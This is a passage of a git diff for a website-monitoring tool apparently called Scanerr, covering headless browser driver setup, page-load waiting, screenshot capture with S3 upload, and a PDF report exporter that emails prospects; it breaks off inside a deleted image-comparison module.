+ options.add_argument(f"--force-device-scale-factor={str(scale_factor)}") + options.set_capability("goog:loggingPrefs", {'performance': 'ALL'}) + options.page_load_strategy = 'none' + + # setting to mobile if reqeusted + if device == 'mobile': + options.add_experimental_option("mobileEmulation", mobile_emulation) + + # init driver + driver = webdriver.Chrome(options=options) + + # setting broswer options for firefox + if browser == 'firefox': + # setting profile + temp_profile_dir = tempfile.mkdtemp() + ff_profile = FirefoxProfile(temp_profile_dir) + # adding arguments + options.add_argument("-headless") + options.page_load_strategy = 'none' + options.set_preference("accept_insecure_certs", True) + options.set_preference('layout.css.devPixelsPerPx', str(scale_factor)) + options.profile = ff_profile + + # setting to mobile if reqeusted + if device == 'mobile': + options.set_preference( + "general.useragent.override", f"userAgent={mobile_user_agent}" + ) + + # init driver + driver = webdriver.Firefox(options=options) + + # setting broswer options for edge + if browser == 'edge': + options.add_argument("--no-sandbox") + options.add_argument("disable-blink-features=AutomationControlled") + options.add_argument("--headless") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("ignore-certificate-errors") + options.add_argument("--hide-scrollbars") + options.add_argument(f"--force-device-scale-factor={str(scale_factor)}") + options.set_capability("goog:loggingPrefs", {'performance': 'ALL'}) + options.page_load_strategy = 'none' + + # setting to mobile if reqeusted + if device == 'mobile': + options.add_experimental_option("mobileEmulation", mobile_emulation) + + # init driver + driver = webdriver.Edge(options=options) + + + # resizing window + driver.maximize_window() + driver.set_window_size(width, height) + print(f'Using {browser} browser') + + return driver + + + + +def driver_test() -> None: + """ + Spins up a selenium driver instance and + tests to ensure it can access the browser and internet + + Returns -> None + """ + + print("Testing Selenium...") + message = 'Selenium was unable to start\n\n' + status = 'Failed' + + # testing selenium + try: + driver = driver_init() + driver.set_page_load_timeout(20) + driver.get('https://google.com') + title = driver.title + assert title == 'Google' + if title == 'Google': + status = 'Success' + message = 'Selenium installed and working \N{check mark} \n\n' + # log exception + except Exception as e: + print(e) + + # logging test results + sys.stdout.write( + '--- ' + status + ' ---\n'+ message + ) + + try: + quit_driver(driver) + sys.exit(0) + except: + pass + + return None + + + + +def driver_wait( + driver: object, + interval: int=1, + max_wait_time: int=30, + min_wait_time: int=3 + ) -> bool: + """ + Expects the driver instance and waits + for either the page to fully load or the max_wait_time + to expire before returning. + + Expects: { + 'driver' : object, + 'interval' : int, + 'max_wait_time' : int, + 'min_wait_time' : int + } + + Returns -> bool (True if page is loaded) + """ + + def interact_with_page(driver): + # simulate mouse movement + action = ActionBuilder(driver) + action.pointer_action.move_to_location(0, 0) + action.perform() + # wait for 1s + time.sleep(1) + action.pointer_action.move_to_location(0, 50) + action.perform() + return + + resolved = False + page_state = 'loading' + wait_time = 0 + + # min_wait_time before checking page status + time.sleep(int(min_wait_time)) + + while int(wait_time) < int(max_wait_time) and page_state != 'complete': + + # get current timestamp + pre_check_time = datetime.now() + + # wait 1 sec or sec + time.sleep(int(interval)) + + try: + page_state = driver.execute_script('return document.readyState') + except Exception as e: + print(e) + + # get time after waiting for script + post_check_time = datetime.now() + + # get seconds between checks + time_to_add = (post_check_time - pre_check_time).total_seconds() + + print(f'document state is {page_state}') + if page_state == 'complete': + resolved = True + + wait_time += time_to_add + + # interacting with page if available + if resolved: + interact_with_page(driver) + + return resolved + + + + +def get_data( + driver: object, + browser: str='chrome', + interval: int=1, + max_wait_time: int=30, + min_wait_time: int=3 + ) -> dict: + """ + Once the page has loaded, grabs the + page-source (html) and console-logs (logs). + + Expects: { + 'driver' : object, + 'browser' : str, + 'interval' : int, + 'max_wait_time' : int, + 'min_wait_time' : int + } + + Returns -> data = { + 'html' : str, + 'logs' : dict + } + """ + + # setting defaults + html = None + logs = [] + + # waiting for page to load + driver_wait( + driver=driver, + interval=interval, + max_wait_time=max_wait_time, + min_wait_time=min_wait_time + ) + + # get page_source from browser + try: + html = driver.page_source + except Exception as e: + print(e) + + # get console logs if notn firefox + if browser != 'firefox' : + try: + logs = driver.get_log('browser') + except Exception as e: + print(e) + + # formatting respones + data = { + "html": html, + "logs": logs + } + + return data + + + + +def quit_driver(driver: object) -> None: + """ + Quits and reaps all child processes in docker + + Returns -> None + """ + print('Quitting session: %s' % driver.session_id) + driver.quit() + try: + pid = True + while pid: + pid = os.waitpid(-1, os.WNOHANG) + print("Reaped child: %s" % str(pid)) + # avoid infinite loop cause pid value -> (0, 0) + try: + if pid[0] == 0: + pid = False + except: + pass + except ChildProcessError: + pass + + + + \ No newline at end of file diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py deleted file mode 100644 index c9ccce82..00000000 --- a/app/api/utils/driver_p.py +++ /dev/null @@ -1,175 +0,0 @@ -from pyppeteer import launch -import time, os, numpy, json, sys, datetime, asyncio - - - -async def driver_init( - window_size='1920,1080', - wait_time=30, - ): - - sizes = window_size.split(',') - - options = { - 'executablePath': os.environ.get('CHROMIUM'), - 'args': [ - '--no-sandbox', - '--disable-dev-shm-usage', - f'--window-size={window_size}', - ], - 'defaultViewport': { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - }, - 'timeout': wait_time * 1000 - } - - driver = await launch( - options=options, - headless=True, - handleSIGINT=False, - handleSIGTERM=False, - handleSIGHUP=False - ) - - return driver - - - - - -async def interact_with_page(page): - # simulate mouse movement - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - - return page - - - - - - -async def driver_test(*args, **options): - - print("Testing puppeteer instalation and integration...") - - try: - driver = await driver_init() - page = await driver.newPage() - await page.goto('https://google.com', {'waitUntil': 'networkidle0'}) - await interact_with_page(page) - title = await page.title() - assert title == 'Google' - if title == 'Google': - status = 'Success' - else: - status = 'Failed' - await driver.close() - except Exception as e: - print(e) - status = 'Failed' - - sys.stdout.write('--- ' + status + ' ---\n' - + 'Puppeteer installed and working \N{check mark} \n' - ) - - - - - - -async def get_data(url, configs, *args, **options): - sizes = configs['window_size'].split(',') - driver = await driver_init(window_size=configs['window_size']) - page = await driver.newPage() - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs['max_wait_time']*1000 - } - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Safari/537.36" - ) - - await page.setViewport(viewport) - - if configs['device'] == 'mobile': - await page.setUserAgent(userAgent) - - - logs = [] - def record_logs(log): - if log.type == 'error': - if '.js' in log.text: - source = 'javascript' - elif 'http' in log.text: - source = 'network' - else: - source = 'other' - log_obj = { - "level": "SEVERE", - "source": source, - "message": str(log.text), - "timestamp": int(datetime.datetime.now().timestamp() * 1000) - } - logs.append(log_obj) - elif log.type == 'warning': - if '.js' in log.text: - source = 'javascript' - elif 'http' in log.text: - source = 'network' - else: - source = 'other' - log_obj = { - "level": "WARNING", - "source": source, - "message": str(log.text), - "timestamp": int(datetime.datetime.now().timestamp() * 1000) - } - logs.append(log_obj) - - def record_network(request): - log_obj = { - "level": "SEVERE", - "source": "network", - "message": f'{request.failure()["errorText"]} {request.url}', - "timestamp": int(datetime.datetime.now().timestamp() * 1000) - } - logs.append(log_obj) - - def record_error(error): - err = str(error).split(' at ')[0] - log_obj = { - "level": "SEVERE", - "source": "javascript", - "message": f'{err}', - "timestamp": int(datetime.datetime.now().timestamp() * 1000) - } - logs.append(log_obj) - - - page.on('console', lambda log : record_logs(log)) - page.on('requestfailed', lambda request : record_network(request)) - page.on('pageerror', lambda error : record_error(error)) - - await page.goto(url, page_options) - - # await page.waitForNavigation(navWaitOpt) - await interact_with_page(page) - html = await page.content() - - await driver.close() - - data = { - 'html': html, - 'logs': logs, - } - - return data \ No newline at end of file diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py deleted file mode 100644 index 582c3b0e..00000000 --- a/app/api/utils/driver_s.py +++ /dev/null @@ -1,167 +0,0 @@ -from selenium import webdriver -from selenium.webdriver.common.desired_capabilities import DesiredCapabilities -from selenium.webdriver import ActionChains -import time, os, numpy, json, sys - - - -def driver_init( - window_size='1920,1080', - device='desktop', - script_timeout=30, - load_timeout=30, - wait_time=15, - ): - - sizes = window_size.split(',') - - prefs = { - 'download.prompt_for_download': False, - 'download.extensions_to_open': '.zip', - 'safebrowsing.enabled': True - } - - mobile_emulation = { - "deviceMetrics": { "width": int(sizes[0]), "height": int(sizes[1]), "pixelRatio": 1.0 }, - "userAgent": ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4844.74 Mobile Safari/537.36" - ) - } - - chromedriver_path = os.environ.get("CHROMEDRIVER") - options = webdriver.ChromeOptions() - options.binary_location = os.environ.get('CHROMIUM') - options.add_argument("--no-sandbox") - options.add_argument("disable-blink-features=AutomationControlled") - options.add_experimental_option('prefs',prefs) - options.add_argument("start-maximized") - options.add_argument("--headless") - options.add_argument("--disable-dev-shm-usage") - options.add_argument("--window-size=%s" % window_size) - - if device == 'mobile': - options.add_experimental_option("mobileEmulation", mobile_emulation) - - caps = DesiredCapabilities.CHROME - caps['goog:loggingPrefs'] = {'performance': 'ALL'} - - driver = webdriver.Chrome(executable_path=chromedriver_path, options=options, desired_capabilities=caps) - driver.set_page_load_timeout(load_timeout) - driver.set_script_timeout(script_timeout) - driver.implicitly_wait(wait_time) - - - return driver - - -def driver_test(): - - print("Testing selenium instalation and integration...") - try: - driver = driver_init() - driver.get('https://google.com') - title = driver.title - assert title == 'Google' - if title == 'Google': - status = 'Success' - else: - status = 'Failed' - except Exception as e: - print(e) - status = 'Failed' - - sys.stdout.write('--- ' + status + ' ---\n' - + 'Selenium installed and working \N{check mark} \n' - ) - - quit_driver(driver) - sys.exit(0) - - - -def driver_wait(driver, interval=5, max_wait_time=30, min_wait_time=5): - """ - Pauses the driver until all network requests have been resolved - - --> Adding mouse interaction to load WP plugin rendered content - - returns once driver determines that all request have resolved or - total wait time exceeds max_wait_time - - """ - - def get_request_list(driver): - # get current snapshot of driver requests - requests = driver.get_log('performance') - r_list = [] - for r in requests: - network_log = json.loads(r["message"])["message"] - - # Checks if the current 'method' key has any Network related value. - if("Network.response" in network_log["method"] - or "Network.request" in network_log["method"] - or "Network.webSocket" in network_log["method"]): - - r_list.append(network_log) - - return r_list - - - def interact_with_page(driver): - # simulate mouse movement and click on tag - html_tag = driver.find_elements_by_tag_name('html')[0] - action = ActionChains(driver) - action.move_to_element(html_tag).perform() - return - - - resolved = False - wait_time = 0 - - # actions before comparing network logs - interact_with_page(driver) - time.sleep(min_wait_time) - - while not resolved and wait_time < max_wait_time: - # get first set of logs - list_one = get_request_list(driver=driver) - - # wait 5 sec or sec for request to resolve - time.sleep(interval) - - # get second set of logs - list_two = get_request_list(driver=driver) - - # check if logs are equal - resolved = numpy.array_equal(list_one, list_two) - - wait_time += interval - - return - - - - -def quit_driver(driver): - ''' - Quits and reaps all child processes in docker - ''' - print('Quitting session: %s' % driver.session_id) - driver.quit() - try: - pid = True - while pid: - pid = os.waitpid(-1, os.WNOHANG) - print("Reaped child: %s" % str(pid)) - - # avoid infinite loop cause pid value -> (0, 0) - try: - if pid[0] == 0: - pid = False - except: - pass - - - except ChildProcessError: - pass \ No newline at end of file diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py new file mode 100644 index 00000000..7eb469e0 --- /dev/null +++ b/app/api/utils/exporter.py @@ -0,0 +1,121 @@ +from .driver import driver_init, driver_wait, quit_driver +from PIL import Image as I +from .alerts import sendgrid_email +from scanerr import settings +import time, boto3, os + + + + + +def create_and_send_report_export(report_id: id, email: str, first_name: str) -> dict: + """ + Takes a screenshot of the `landing.report`, + save as a PDF, upload to s3 bucket, and then + send an email to the prospect that requested it. + + Expects the following: + 'report_id' : id of report/page being reported on + 'email' : str prospect's email address + 'first_name' : str prospect's first name + + Returns -> data { + 'success' : bool if process started successfully + 'error' : str any error msg from Scanerr server + } + """ + + # setting up s3 client + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # init driver + driver = driver_init(scale_factor=1) + + # nav to report page + driver.get(f'{settings.LANDING_API_ROOT}/report/{report_id}') + time.sleep(5) + + # setting screensize + full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;") + driver.set_window_size(1512, int(full_page_height)) + + # taking screenshot + driver.save_screenshot(f'{report_id}.png') + + # quitting driver + quit_driver(driver) + + # setting up paths + image = os.path.join(settings.BASE_DIR, f'{report_id}.png') + pdf = os.path.join(settings.BASE_DIR, f'{report_id}.pdf') + + # resizing image to remove excess | expected height => 2353 + img = I.open(image) + width, height = img.size + left = 0 + top = 85 + right = width + bottom = height - (330) + new_img_1 = img.crop((left, top, right, bottom)) + new_img_1.save(image, quality=95) + + # convert to pdf + img = I.open(image) + new_img_2 = img.convert('RGB') + new_img_2.save(pdf, quality=95) + + # uploading to s3 + remote_path = f'static/landing/reports/{report_id}.pdf' + report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}' + + # upload to s3 + with open(pdf, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': 'application/pdf'} + ) + + # removing local copies + os.remove(image) + os.remove(pdf) + + # setting up email to prospect + pre_content = 'The Scanerr performance report you requested has finished processing. \ + Now, just click the link below to view and download the PDF.' + content = 'If you have any questions about the report or want deeper insights, feel free to book a short call with me here -> https://scanerr.io/booking' + subject = f'{first_name}, your Scanerr Report is Ready' + title = f'{first_name}, your Scanerr Report is Ready' + pre_header = f'{first_name}, your Scanerr Report is Ready' + button_text = 'View Your Report' + email = email + object_url = report_url + signature = f'- Landon R | CEO @Scanerr' + greeting = f'Hi {first_name},' + + message_obj = { + 'pre_content': pre_content, + 'content': content, + 'subject': subject, + 'title': title, + 'pre_header': pre_header, + 'button_text': button_text, + 'email': email, + 'object_url': object_url, + 'signature': signature, + 'greeting': greeting + } + + # sending email to prospect + data = sendgrid_email(message_obj) + + # returning data + return data + + + + + diff --git a/app/api/utils/image.py b/app/api/utils/image.py deleted file mode 100644 index a6f88768..00000000 --- a/app/api/utils/image.py +++ /dev/null @@ -1,1163 +0,0 @@ -from .driver_s import driver_init, driver_wait, quit_driver -from .driver_p import driver_init as driver_init_p -from selenium import webdriver -from ..models import Site, Scan, Test, Mask -from selenium.webdriver.chrome.options import Options -from django.forms.models import model_to_dict -from django.core.serializers.json import DjangoJSONEncoder -from sewar.full_ref import uqi, mse, ssim, msssim, psnr, ergas, vifp, rase, sam, scc -from scanerr import settings -from PIL import Image as I, ImageChops, ImageStat -from pyppeteer import launch -from datetime import datetime -from asgiref.sync import sync_to_async -import time, os, sys, json, uuid, boto3, \ - statistics, shutil, numpy, cv2 - - - - - -class Image(): - """ - High level Image handler used to compare screenshots of - a website and retrieve single one-page screenshots. - Also known as VRT or Visual Regression Testing. - Contains five methods scan(), scan_p(), test(), - screenshot(), and screenshot_p(). The _p appendage - denotes using Puppeteer as the webdriver: - - def scan(site, driver=None) -> grabs multiple - screenshots of the website and uploads - them to s3. - - - def test(test=) -> compares each - screenshot in the two scans and records - a score out of 100% - - - def screeshot(site, driver=None) -> grabs single - screenshot of the site and uploads it to s3 - - """ - - - def __init__(self): - - # scripts - self.set_jquery = ( - """ - var jq = document.createElement('script'); - jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"; - document.getElementsByTagName('head')[0].appendChild(jq); - """ - ) - - - self.mask_function = ( - """ - (function($){ - $.fn.overlayMask = function (action) { - var mask = this.find('.overlay-mask'); - - // Create the required mask - - if (!mask.length) { - this.css({ - position: 'relative' - }); - mask = $('
'); - mask.css({ - position: 'absolute', - width: '100%', - height: '100%', - color: 'green', - backgroundColor: 'green', - top: '0px', - left: '0px', - zIndex: 100, - }).appendTo(this); - } - - // Act based on params - - if (!action || action === 'show') { - mask.show(); - } else if (action === 'hide') { - mask.hide(); - } - - return this; - }; - })(jQuery) - - """ - ) - - - - - def check_timeout(self, timeout, start_time): - """ - Checks to see if the current time exceedes the alotted timeout. - - returns -> True if timeout exceeded - """ - - current = datetime.now() - diff = current - start_time - if diff.total_seconds() >= timeout: - print('exceeded timeout') - return True - else: - return False - - - - - def scan(self, site, configs, driver=None,): - """ - Grabs multiple screenshots of the website and uploads - them to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # initialize driver if not passed as param - driver_present = True - if not driver: - driver = driver_init() - driver_present = False - - - # request site_url - driver.get(site.site_url) - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # inserting video pausing scripts - try: - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannnot pause videos') - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - active_masks = Mask.objects.filter(active=True) - if len(active_masks) != 0: - for mask in active_masks: - try: - driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # scroll one frame at a time and capture screenshot - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - # driver.execute_script("window.scrollBy(0, window.innerHeight);") - driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - # get screenshot - driver.save_screenshot(f'{pic_id}.png') - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site.id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "index": index, - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - index += 1 - - else: - bottom = True - - if not driver_present: - quit_driver(driver) - - return image_array - - - - - - - def _scan(self, site, configs, driver=None,): - """ - Grabs multiple screenshots of the website and uploads - them to s3 as one package. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - # initialize driver if not passed as param - driver_present = True - if not driver: - driver = driver_init() - driver_present = False - - - # request site_url - driver.get(site.site_url) - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - driver.execute_script("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # inserting video pausing scripts - try: - driver.execute_script("const video = document.querySelectorAll('video').forEach(vid => vid.pause());") - except: - print('cannnot pause videos') - - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - active_masks = Mask.objects.filter(active=True) - if len(active_masks) != 0: - for mask in active_masks: - try: - driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # vertically concats two images - def add_images(im1, im2): - im1 = I.open(im1) - im2 = I.open(im2) - new_img = I.new('RGB', (im1.width, im1.height + im2.height)) - new_img.paste(im1, (0, 0)) - new_img.paste(im2, (0, im1.height)) - return new_img - - - # scroll one frame at a time and capture screenshot - final_img = None - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - # driver.execute_script("window.scrollBy(0, window.innerHeight);") - driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # waiting for network requests to resolve - driver_wait( - driver=driver, - interval=int(configs.get('interval', 5)), - min_wait_time=int(configs.get('min_wait_time', 10)), - max_wait_time=int(configs.get('max_wait_time', 30)), - ) - - # get screenshot - driver.save_screenshot(f'{pic_id}.png') - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - - # adding new image to bottom of existing image (if not index = 0) - pic_id_2 = uuid.uuid4() - if index != 0 and final_img is not None: - add_images(final_img, image).save(f'{pic_id_2}.png') - os.remove(final_img) - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - else: - I.open(image).save(f'{pic_id_2}.png') - final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png') - - # remove local copy - os.remove(image) - - index += 1 - - else: - bottom = True - - - remote_path = f'static/sites/{site.id}/{pic_id_2}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(final_img, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - - - # create image obj and add to list - img_obj = { - "index": 0, - "id": str(pic_id_2), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - # remove local copy - os.remove(final_img) - - if not driver_present: - quit_driver(driver) - - return image_array - - - - - - - - async def scan_p(self, site, configs): - """ - Using Puppeteer, grabs multiple screenshots of the website and uploads - them to s3. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) - page = await driver.newPage() - - sizes = configs.get('window_size', '1920,1080').split(',') - is_mobile = False - if configs.get('device') == 'mobile': - is_mobile = True - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs.get('max_wait_time', 30)*1000 - } - - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" - ) - - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent - } - - if configs.get('device') == 'mobile': - await page.emulate(emulate_options) - else: - await page.setViewport(viewport) - - # requesting site url - await page.goto(site.site_url, page_options) - - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - await page.evaluate("const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');styleElement.appendChild(styleTagCSSes);document.head.appendChild(styleElement);") - except: - print('cannot pause animations') - - # pausing videos - try: - videos = await page.querySelectorAll('video') - for vid in videos: - await page.evaluate('(vid) => vid.pause()', vid) - except Exception as e: - print(e) - - - # mask all listed ids - if configs.get('mask_ids') is not None and configs.get('mask_ids') != '': - ids = configs.get('mask_ids').split(',') - for id in ids: - try: - await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via id provided') - - - # mask all Global mask ids that are active - @sync_to_async - def get_active_global_masks(): - masks = Mask.objects.filter(active=True) - active_masks = [] - if len(masks) > 0: - for mask in masks: - active_masks.append(mask.id) - return active_masks - - active_masks = await get_active_global_masks() - - for mask in active_masks: - try: - await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';") - print('masked an element') - except: - print('cannot find element via global mask id provided') - - - # scroll one frame at a time and capture screenshot - image_array = [] - index = 0 - last_height = -1 - bottom = False - start_time = datetime.now() - while not bottom: - - # checking if maxed out time - if self.check_timeout(configs.get('timeout', 300), start_time): - break - - # scroll single frame - if index != 0: - await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") - time.sleep(int(configs.get('min_wait_time', 10))) - - # get current position and compare to previous - new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") - height_diff = new_height - last_height - if height_diff > 20: - last_height = new_height - pic_id = uuid.uuid4() - - # interact with and wait for page to load - await page.mouse.move(0, 0) - await page.mouse.move(0, 100) - time.sleep(configs.get('min_wait_time', 10)) - - - # get screenshot - await page.screenshot({'path': f'{pic_id}.png'}) - - image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') - remote_path = f'static/sites/{site.id}/{pic_id}.png' - root_path = settings.AWS_S3_URL_PATH - image_url = f'{root_path}/{remote_path}' - - # upload to s3 - with open(image, 'rb') as data: - s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), - remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} - ) - # remove local copy - os.remove(image) - - # create image obj and add to list - img_obj = { - "index": index, - "id": str(pic_id), - "url": image_url, - "path": remote_path, - } - - image_array.append(img_obj) - - index += 1 - - else: - bottom = True - - - await driver.close() - - return image_array - - - - - - - - - async def _scan_p(self, site, configs): - """ - Using Puppeteer, grabs multiple screenshots of the website and uploads - them to s3 as a single image. - """ - - # setup boto3 configurations - s3 = boto3.client( - 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), - aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), - region_name=str(settings.AWS_S3_REGION_NAME), - endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) - ) - - driver = await driver_init_p(window_size=configs.get('window_size', '1920,1080'), wait_time=configs.get('max_wait_time', 30)) - page = await driver.newPage() - - sizes = configs.get('window_size', '1920,1080').split(',') - is_mobile = False - if configs.get('device') == 'mobile': - is_mobile = True - - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': configs.get('max_wait_time', 30)*1000 - } - - viewport = { - 'width': int(sizes[0]), - 'height': int(sizes[1]), - 'isMobile': is_mobile, - } - - userAgent = ( - "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \ - (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36" - ) - - emulate_options = { - 'viewport': viewport, - 'userAgent': userAgent - } - - if configs.get('device') == 'mobile': - await page.emulate(emulate_options) - else: - await page.setViewport(viewport) - - # requesting site url - await page.goto(site.site_url, page_options) - - if configs.get('disable_animations') == True: - # inserting animation pausing script - try: - await page.evaluate("const styleElement = 